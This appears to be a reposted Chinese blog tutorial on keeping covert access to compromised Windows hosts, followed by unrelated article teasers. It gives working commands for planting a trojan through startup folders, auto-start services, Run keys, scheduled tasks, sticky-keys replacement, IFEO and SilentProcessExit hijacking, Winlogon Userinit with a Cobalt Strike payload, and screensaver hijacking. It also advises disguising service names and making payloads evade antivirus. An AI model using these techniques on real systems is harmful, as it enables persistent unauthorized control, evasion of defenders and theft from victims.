Windows权限维持—自启动映像劫持粘滞键辅助屏保后门WinLogon

news2024/9/21 17:30:38

Windows权限维持—自启动&映像劫持&粘滞键&辅助屏保后门&WinLogon

  • 1. 前置
  • 2. 自启动
    • 2.1. 路径加载
      • 2.1.1. 放置文件
      • 2.1.2. 重启主机
    • 2.2. 服务加载
      • 2.2.1. 创建服务
      • 2.2.2. 查看服务
      • 2.2.3. 重启主机
    • 2.3. 注册表加载
      • 2.3.1. 添加启动项
      • 2.3.2. 查看注册表
      • 2.3.3. 重启主机
  • 3. 计划任务
    • 3.1. 创建计划任务
    • 3.2. 查看效果
  • 4. 粘滞键
    • 4.1. 替换粘滞键
    • 4.2. 整体思路
  • 5. 映像劫持
    • 5.1. 查看注册表
    • 5.2. 普通劫持测试
    • 5.3. 隐藏劫持测试
      • 5.3.1. 操作演示
      • 5.3.2. 查看效果
  • 6. 屏保&登陆
    • 6.1. 配合无文件落地上线
      • 6.1.1. 查看注册表
      • 6.1.2. 修改注册表
      • 6.1.3. 查看效果
    • 6.2. payload上线
      • 6.2.1. 生成payload
      • 6.2.2. 修改注册表
      • 6.2.3. 查看注册表
      • 6.2.4. 查看效果
    • 6.3. 屏保生效执行后门
      • 6.3.1. 查看注册表
      • 6.3.2. 修改注册表
      • 6.3.3. 查看效果

1. 前置

  在Windows系统中,很多后门利用的方式不是太会区别在域中还是单机上,只是需要考虑在没有网络情况下,如何将shell反弹回来,就比如,在域中一个无网络的主机和一台有网络的主机,前期通过有网络的主机转发上线到无网络主机上,那么我们木马是不是也可以这样设置,在无网络中设置一个正向木马,让其在运行,在有网络中设置一个反向的木马,让其运行,那么我们去连接的时候只要去连接反向木马就可以了,然后在通过这个反向木马去连接正向木马,不就可以了。

  当然上面都是理想环境,在实际的环境中可能更加的复杂,所以还是需要仔细想一想的。

  这次关于Windows权限维持基本上都是在单机环境下测试,其实和在域内测试的效果是一样的,只是域内相对来说需要考虑有没有网络,如何出网等。

2. 自启动

  所谓的自启动,想必应该都知道,通常你会发现你再电脑上下载了很多软件,都会有一个开启自启,其实就是将该软件的程序嵌入到系统的自启动中,当下次开机的时候,就会自动运行。

2.1. 路径加载

  路径加载也就是说将木马文件放置在系统的自启动目录下,来对文件进行执行。

2.1.1. 放置文件

  这里要注意,通常我们所使用的系统都是中文版的,有些系统可能被调整过所以在目录中显示的都是英文,而有些会出现是中文的情况,下面的这台虚拟机就是这样的。

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\    ##英文
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\开始菜单\程序\启动\    ##中文

在这里插入图片描述

2.1.2. 重启主机

  对主机重启后发现,主机自动上线了,但是好像还是有点小问题的,主机上会莫名其妙的出现几个黑色弹窗,遇到有经验的肯定会出现怀疑的,不过也不知道是不是我的环境有问题。

在这里插入图片描述

2.2. 服务加载

  服务加载就是借助服务程序实现自动上线,比如创建一个服务,将服务指向木马,并将启动类型调整为自动,那么下次开机的时候,就会自动执行木马。

2.2.1. 创建服务

  这里需要知道,当获取到目标主机后,现在的操作都是在进行权限维持,而不是在说如何获取权限或者获取主机的操作。

  这里创建服务需要提权后进行创建,普通的管理员权限好像是无法创建服务的,同时服务的名字最好仿照一下必要的程序进行仿写,比如server,你可以加个s等…

sc create Muma binPath= C:\1\3000.exe start= auto    #创建自启动服务 路径执行木马
sc delete Muma   #删除该服务

在这里插入图片描述

2.2.2. 查看服务

  可以看到该服务是绑定了木马,同时这些反弹shell的木马都比较小,运行起来基本上都是无感操作。

在这里插入图片描述

2.2.3. 重启主机

  这里重启主机是为了让系统加载服务,刚创建的服务是无法直接运行的,当然你也可以手动运行,不过我们也是为了保障后续能够继续利用,所以我们没必要急着运行程序。

  等待目标主机重启即可。

在这里插入图片描述

2.3. 注册表加载

  注册表加载就是将木马添加到注册表中,让注册表进行加载。

2.3.1. 添加启动项

  这里不同的类型的注册表路径是不同的,同时有当前用户的,也有直接是服务器的,当前用户的基本上你获取到用户权限就可以添加了,而且服务器也就是system权限,这个是需要提权的。

当前用户键值注册表路径:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
服务器键值注册表路径(需要管理员权限):
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\1\3000.exe"

在这里插入图片描述

2.3.2. 查看注册表

regedit ##查看注册表

在这里插入图片描述

2.3.3. 重启主机

  重启后可以看到成功上线了。

在这里插入图片描述

3. 计划任务

  关于Windows的计划任务,在Windows系统<2012的时候可以使用at命令,从Windows server 2012之后就不可以使用at命令了,而改成schtasks来进行添加计划任务,同时at命令默认是以system权限执行。

  关于具体的用法可以自行百度搜索,这里就不作很详细的演示了。

3.1. 创建计划任务

  创建一个名为TestService的计划任务,并在每天的9.46分运行C盘下1目录中的3000.exe程序。

创建任务:schtasks /Create /TN TestService /SC DAILY /ST 09:46 /TR c:\1\3000.exe /RL HIGHEST  
查看任务:SchTasks /Query /TN TestService
删除任务:SchTasks /Delete /TN TestService [/f]

在这里插入图片描述

3.2. 查看效果

  这里只要到时间了,计划任务就会运行,当运行后程序就会上线。

在这里插入图片描述

4. 粘滞键

  Shift粘滞键是当用户连按5次shift就会自动弹出的一个程序,其实不光是粘滞键,还有各种辅助功能,这类辅助功能都拥有一个特点就是当用户未进行登录时也可以触发。所以攻击者很有可能通过篡改这些辅助功能的指向程序来达到权限维持的目的。

  粘滞键位置:C:\windows\system32\sethc.exe

4.1. 替换粘滞键

  这里是有一个问题的就是必须是system权限才能执行,administrator都是无法对其进行修改的。

move sethc.exe sethc1.exe
copy cmd.exe sethc.exe

在这里插入图片描述

4.2. 整体思路

  这里的整体思路就是通过修改这个粘滞键程序,将后门木马或者cmd修改为这个粘滞键程序的名字,然后再登陆窗口按5次Shift粘滞键就会调用。

  而高版本的Windows系统中是无法使用了。

5. 映像劫持

  映像劫持是利用Windows的IFEO(Image File Execution Options)功能来实现的。IFEO实际上是Windows的一项正常功能,主要用于调试程序,其初衷是在程序启动的时候开启调试器来调试程序,这样一来可以在调试器中观察程序在难以重现的环境中的行为。

  简单来说就是,通过修改程序指定的注册表实现程序的劫持,当运行程序的时候实际上运行的是我们留的后门程序。

  一个程序当要运行的时候,会去检查注册表,如果有指定的程序并且开启了debugger,那么会优先执行gebuggr指定的程序,这样就会造成映像劫持。

5.1. 查看注册表

  通过查看注册表会发现,这个注册表下有很多的exe程序,我们可以通过修改这些表项来实现劫持的效果,当然也可以自己添加一个指定的exe表现实现劫持。

注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

在这里插入图片描述

5.2. 普通劫持测试

  这里我们将记事本劫持为计算器,当然计算机也可以修改为自己的木马,让其上线。

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "c:\windows\system32\calc.exe" /reg:32

REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "c:\windows\system32\calc.exe" /reg:32

在这里插入图片描述

5.3. 隐藏劫持测试

  隐藏劫持就是配合GlobalFlag来实现,执行正常关闭后触发,也就是说当记事本执行后,木马是不会被执行的,同时记事本依旧是能够正常运行的,相当于无感操作,但是当关闭记事本的时候,就会自动触发执行后门木马。

5.3.1. 操作演示

  这里我们修改一下,自行看命令,把一些内容修改成你自己的即可。

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\1\3000.exe"

在这里插入图片描述

5.3.2. 查看效果

  这里我们打开记事本后再点击关闭,目标主机就自动上线了。

在这里插入图片描述

6. 屏保&登陆

  这个就是利用在锁屏后登陆的时候触发的一些程序,在这些程序后添加还要运行的程序即可。

6.1. 配合无文件落地上线

  其实也就是修改注册表在对应的值中加入木马路径,当触发登陆就会自动执行了木马。

6.1.1. 查看注册表

  在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon中的Userinit对于的值是当前用户登陆的时候会触发的程序,这里我们就在这个值后面添加木马路径。

在这里插入图片描述

6.1.2. 修改注册表

  这里是需要权限的,使用普通用户的权限可能无法执行,所以依旧需要提权后操作。

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\System32\userinit.exe,C:\1\3000.exe"

在这里插入图片描述

6.1.3. 查看效果

  可以看到重启或者锁屏后重新登陆即可上线。

在这里插入图片描述

6.2. payload上线

  这里是采用cs中的payload进行上线。

6.2.1. 生成payload

  这里选择有效载荷》payload生成器》选择监听器》类型选择powershell command。

在这里插入图片描述

6.2.2. 修改注册表

  这里一定要注意payload一定要免杀,否则百分比会被杀。

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\System32\userinit.exe,payload"   ##要注意这个payload就是将cs生成的paylod复制上去,由于太大了,就不输入了。

在这里插入图片描述

6.2.3. 查看注册表

  这里我们查看一下注册表中是否修改了,由于这里是虚拟机,不好截图,但是可以看到后面是添加了内容的。

在这里插入图片描述

6.2.4. 查看效果

  可以看到这里触发登陆就成功上线了。

在这里插入图片描述

6.3. 屏保生效执行后门

  这里也可以使用屏保生效后执行后门,正常电脑屏幕在一段时间后都会自动进行屏幕保护,而这里就是借用屏幕包含自动执行的时候,同时执行后门。

6.3.1. 查看注册表

  如果选择了屏幕保护程序那么注册表HKEY_CURRENT_USER\Control Panel\Desktop中SCRNSAVE.EXE的值就是对应的屏幕保护程序,如果把这个值改为我们的木马程序那么当开启屏幕保护时也就触发了木马。

  但是我这里看了一下,我的注册表中好像是没有这个程序的,莫名其妙的,不过我发现可以自己添加。

在这里插入图片描述

6.3.2. 修改注册表

  这里修改完也相当于就添加了一个木马。

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\1\3000.exe" /f

在这里插入图片描述

6.3.3. 查看效果

  这里进行锁屏后就可以看到成功上线了。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/891593.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何使用Asp.net Core实现定时任务,轻松解决任务调度问题!

一、前言 Asp.net core作为一种高效、跨平台的web框架&#xff0c;在开发过程中&#xff0c;我们常常需要在后台执行定时任务&#xff0c;例如清理无用文件、生成报告、发送邮件等任务。对于这种需求&#xff0c;我们可以使用第三方库&#xff08;如Hangfire或Quartz.NET&…

VIOOVI:什么是精益生产改善?如何做好精益生产改善?

现代化企业经营&#xff0c;更要注重科学化管理、精准化布局&#xff0c;才能为长线稳健运营奠定基础。当下&#xff0c;精益生产改善是各行各业都在探索的话题。那什么是精益生产改善&#xff1f;精益生产&#xff0c;也被称之为精益生产方式&#xff0c;它是基于生产组织、管…

Datawhale Django后端开发入门 TASK03 QuerySet和Instance、APIVIew

一、QuerySet QuerySet 是 Django 中的一个查询集合&#xff0c;它是由 Model.objects 方法返回的&#xff0c;并且可以用于生成数据库中所有满足一定条件的对象的列表。 QuerySet 在 Django 中表示从数据库中获取的对象集合,它是一个可迭代的、类似列表的对象集合。主要特点…

重发布 路由策略

[r4]ip ip_prefix 15 permit 192.168.3.0 24. 根据序号插入规则 [r4]undo ip-prefix aa index 15. 删除规则 [r4]ip ip-prefix aa permit 192.168.3.0 24 less- equal 28 抓取目标网段为3.0掩码长度为24到28的路由 [r4]ip ip-prefix aa permit 192.168.3.0 24 greate…

记录一下基于jeecg-boot3.0的待办消息移植记录

因为之前没有记录&#xff0c;所以还要看代码进行寻找&#xff0c;比较费劲&#xff0c;所以今天记录一下&#xff1a; 1、后端 SysAnnouncementController 下面函数增加待办的几个显示内容给前端用 具体代码如下&#xff1a; /*** 功能&#xff1a;补充用户数据&#xff0c…

Google play应用成功上架要点——如何防止封号、拒审、下架?

Google Play是全球最大的移动应用商店之一&#xff0c;它是运行Android操作系统的设备的官方应用商店。它提供各种数字内容&#xff0c;包括应用程序&#xff08;应用&#xff09;、游戏、音乐、书籍等&#xff0c;包括免费和付费选项。这也为许多游戏/APP出海的企业或开发者提…

spring源码分析bean的生命周期(上)

bean扫描生成BeanDefinition的过程&#xff1a; 创建非懒加载的单例bean的过程&#xff1a; spring容器初始化好之后&#xff0c;首先要进行bean的扫描&#xff0c;然后再进行bean的创建和管理 一、扫描生成BeanDefinition public int scan(String... basePackages) {// 扫描…

[Go版]算法通关村第十关黄金——归并排序

目录 归并排序&#xff08;mergeSort&#xff09;思路分析&#xff1a;二分分割 合并两个数组 递归遍历时处理元素的过程图&#xff1a;递归遍历时栈内的数据图&#xff1a;复杂度&#xff1a;时间复杂度 O ( n l o g n ) O(nlogn) O(nlogn)、空间复杂度 O ( n ) O(n) O(n)Go…

innodb的锁

一致性锁定读和一致性非锁定读 Read Committed和Repetable Read级别下采用MVCC 实现非锁定读 但在一些情况下&#xff0c;要使用加锁来保障数据的逻辑一致性 自增列 锁的算法 唯一值 MySQL 中关于gap lock / next-key lock 的一个问题_呜呜呜啦啦啦的博客-CSDN博客 RR可以通过…

为什么一些程序员很傲慢?懂点编程了不起吗?

Perl 语言之父 Larry Wall 说过&#xff0c;好的程序员有 3 种美德&#xff1a;懒惰、急躁和傲慢&#xff08;Laziness, Impatience and hubris&#xff09;。 在日常工作中&#xff0c;程序员的傲慢可以说是被吐槽的最多的&#xff0c;之前还有人特地开了帖子&#xff0c;发…

九耶丨阁瑞钛伦特-HashCode是什么

HashCode是一种用于快速查找和比较对象的方法。它是一个整数值&#xff0c;由对象的内容计算得出。HashCode通常用于数据结构中的散列函数&#xff0c;如哈希表、散列表等。 HashCode的作用有以下几点&#xff1a; 在哈希表中快速查找对象&#xff1a;哈希表根据对象的HashCod…

SQL Server数据库无法连接

问题如下&#xff1a; 原因&#xff1a;sql server服务器未开启 解决方法&#xff1a;以管理员身份打开cmd&#xff0c;输入&#xff1a;net start mssqlserver。

[Go版]算法通关村第十二关白银——字符串经典基础面试题

目录 反转专题题目&#xff1a;反转字符串思路分析&#xff1a;左右双指针 对向交换复杂度&#xff1a;时间复杂度 O ( n ) O(n) O(n)、空间复杂度 O ( 1 ) O(1) O(1)Go代码 题目&#xff1a;反转字符串 II思路分析&#xff1a;K个一组反转思想&#xff08;找到每组的首尾索引…

实在没货,简历(软件测试)咋写?

简历咋写&#xff0c;这是很多没有【软件测试实际工作经验】的同学们非常头疼的事情。 简历咋写&#xff1f;首先你要知道简历的作用。 简历的作用是啥呢&#xff1f;一句话就是&#xff1a;让HR小姐姐约你。 如何让HR看你一眼&#xff0c;便相中你的简历&#xff0c;实现在众…

AcrelEMS-IDC数据中心综合能效管理系统解决方案-安科瑞黄安南

1 概述 安科瑞电气紧跟数据中心发展形式&#xff0c;推出AcrelEMS-IDC数据中心综合能效管理解决方案&#xff0c;包含有电力监控、动环监控、消防监控、能耗统计分析、智能照明控制以及新能源监测几个子系统。集成了变配电监测、电源备自投、电气接点测温、智能照明控制、电能…

vue 实现图片懒加载

一&#xff1a;懒加载的目的 有些页面可能展示的是大量的图片&#xff0c;如果我们一次性加载所有图片就会浪费性能&#xff0c;影响用户体验&#xff0c;所以我们就会懒加载这些图片。即可视区域之外的图片不加载&#xff0c;随着页面的滚动&#xff0c;图片进入可视区域&…

小程序swiper一个轮播显示一个半内容且实现无缝滚动

效果图&#xff1a; wxml&#xff08;无缝滚动&#xff1a;circular"true"&#xff09;&#xff1a; <!--components/tool_version/tool_version.wxml--> <view class"tool-version"><swiper class"tool-version-swiper" circul…

基于IMX6ULLmini的linux裸机开发系列二:使用C语言和SDK点亮LED

引入sdk头文件 sudo chown -R gec /opt 用这条命令给gec赋权限&#xff0c;否则访问权限不够&#xff0c;无法读取&#xff0c;如下图成功 目的&#xff1a;解决寄存器地址难查难设置 devices/MCIMX6Y2/MCIMX6Y2.h 记录外设寄存器及其相关操作 devices/MCIMX6Y2/drivers/fsl_…

分班情况通知如何下发?使用这个技术源一键搞定

在下发分班情况通知之前&#xff0c;我们需要制作好分班查询页面&#xff0c;我们先来看看利用易查分快速制作分班查询页面的教程&#xff0c;后面会分享具体的【分班情况通知范文】【分班情况通知下发方式】&#xff01; 分班查询页面制作教程 在制作分班查询系统前&#xff…

《Go 语言第一课》课程学习笔记(四)

构建模式&#xff1a;Go Module 的 6 类常规操作 为当前 module 添加一个依赖 我们如何为一个 Go Module 添加一个新的依赖包呢&#xff1f; 如果我们要为项目增加一个新依赖&#xff1a;github.com/google/uuid&#xff0c;我们首先会更新源码&#xff1a;package mainimpor…